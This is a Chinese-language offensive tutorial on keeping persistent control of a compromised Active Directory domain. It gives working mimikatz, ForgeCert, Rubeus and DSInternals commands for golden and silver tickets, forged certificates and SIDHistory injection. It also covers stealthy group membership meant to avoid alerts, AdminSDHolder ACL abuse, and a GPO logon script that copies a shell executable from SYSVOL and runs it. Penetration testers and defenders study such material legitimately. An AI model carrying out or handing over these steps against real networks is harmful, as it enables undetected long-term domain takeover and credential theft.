AD权限维持

通过凭证持久化

DC Sync后保存凭证

通过票据持久化

黄金票据

黄金票据就是伪造TGT。拥有特权帐户的有效 TGT,就可以为几乎任何我们想要的服务请求 TGS

特点

  • 域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟(超过20分钟重新导票据就行了)。这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。

  • 由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年

  • 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域

制作金票的条件:

1、域名称  Get-ADDomain          
2、域的SID值  Get-ADDomain
3、域的KRBTGT账户密码HASH (dcsync导出)  
4、伪造用户名,可以是任意的

mimikatz生成黄金票据:

kerberos::golden /admin:username /domain:domain /id:500 /sid:<Domain SID> /krbtgt:hash /ptt
/admin  我们要模拟的用户
/domain 域的FQDN
/id 用户rid 500为管理员
/sid 域的sid
/krbtgt krbtgt用户的NTLM Hash
/ptt 将票据直接注入到会话中

白银票据

白银票据就是伪造的TGS

特点

  • 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务

  • 攻击者需要服务帐户密码哈希值

  • TGS是伪造的,所以没有和TGT通信,意味着未从DC验证过

  • 任何事件日志都在目标服务器上,而不会出现在KDC上

kerberos::golden /admin:username /domain:domain /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
/admin  我们要模拟的用户
/domain 域的FQDN
/id 用户rid 500为管理员
/sid 要为其生成票证的域的 SID
/target 目标服务器的主机名
/rc4 目标计算机账户的NTLM Hash
/service:服务名称,这里需要访问共享文件,所以是cifs
/ptt 将票据直接注入到会话中

利用证书持久化

使用mimikatz查看DC上存储的证书:

crypto::certificates /systemstore:local_machine

image-20230926144821974

可以看到密钥是不允许导出的,可以使用mimikatz patch内存让这些密钥变得可导出

crypto::capi
crypto::cng

然后就可以导出证书

crypto::certificates /systemstore:local_machine /export

导出的证书将以 PFX 和 DER 格式存储到磁盘

有了私钥和根证书后,可以使用ForgeCert为任意用户伪造客户端身份验证证书

ForgeCert.exe --CaCertPath xxx.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@xx.xx.xx.xx --NewCertPath newcert.pfx --NewCertPassword P@ssw0rd 
  • CaCertPath 导出的CA证书的路径

  • CaCertPassword 用于加密证书的密码, mimikatz默认分配的为mmikatz

  • Subject 证书的Subject name 随便取

  • SubjectAltName 要模拟的用户的UPN 必须为合法用户

  • NewCertPath 新生成的证书路径

  • NewCertPassword 加密证书的新密码

然后可以利用Rebeus使用新生成的证书请求TGT

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain: /dc:
  • /user 要模拟的用户,就是我们生成证书时填的UPN

  • /enctype 指定加密类型

  • /certificae 证书路径

  • /password 证书密码

  • /outfile TGT输出的文件

  • /domain 当前攻击的域的FQDN

  • /dc 请求TGT的域控ip(最好是运行CA服务的DC)

只有吊销根证书才能消除该影响,但吊销根证书会导致AD CS颁发的所有证书都失效

利用SIDHistory持久化

SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。其允许用户在迁移到新域时保留对原始域的访问权限。在新域中,用户将拥有新的 SID,但我们可以将用户现有的 SID 添加到 SID 历史记录中,这仍然允许他们使用新帐户访问先前域中的资源

只有域管才有权更改SIDHistory

查看用户的SIDHistory:

Get-ADUser <AD username> -properties sidhistory

可以使用mimikatz直接加

privilege::debug
sid::patch
sid::add /sam:<AD username> /new:administrator

但是最新版的mimikatz存在缺陷,不允许他patch lsass来更新sid history

可以使用DSInternals来patch ntds.dit

获取Domain Admins 组的SID

Get-ADGroup "Domain Admins"
> Stop-Service -Name ntds -force
> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit 
> Start-Service -Name ntds

NTDS 服务运行时,NTDS 数据库被锁定。为了修补我们的 SID 历史记录,我们必须首先停止该服务。补丁完成后必须重新启动NTDS服务,否则整个网络的认证将无法进行。

利用Group Member

字面意思,但是当新成员添加到Domain Admin组时,我们可能会触发警报,比较好的办法是将用户添加到Domain Admin下的子组

利用ACL

AdminSDHolder和SDProp

AdminSDHolder

AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板

Active Directory以AdminSDHolder对象的ACL作为模板并定期将其复制到所有受保护的AD账户和组(包括特权组),以防止意外和无意的修改并确保对这些对象的访问是安全的

https://learn.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)

SDProp

SDProp是一个进程,该进程每60分钟(默认)执行将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配

如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法

打开mmc

image-20230926203457503

勾上 Active Directory 用户和计算机并开启高级功能

再在view处勾上Advanced Features

image-20230926203826141

image-20230926204034017

并给他Full control的权限

image-20230926205535704

利用GPO

通过GPO可以设置登陆脚本

image-20230926212701046

然后可以添加Logon scripts

image-20230926212823656

添加批处理脚本的路径

copy \\xxx.xxx.xxx\sysvol\xxx.xxx.xxx\scripts\shell.exe C:\tmp\shell.exe && timeout /t 20 && C:\tmp\shell.exe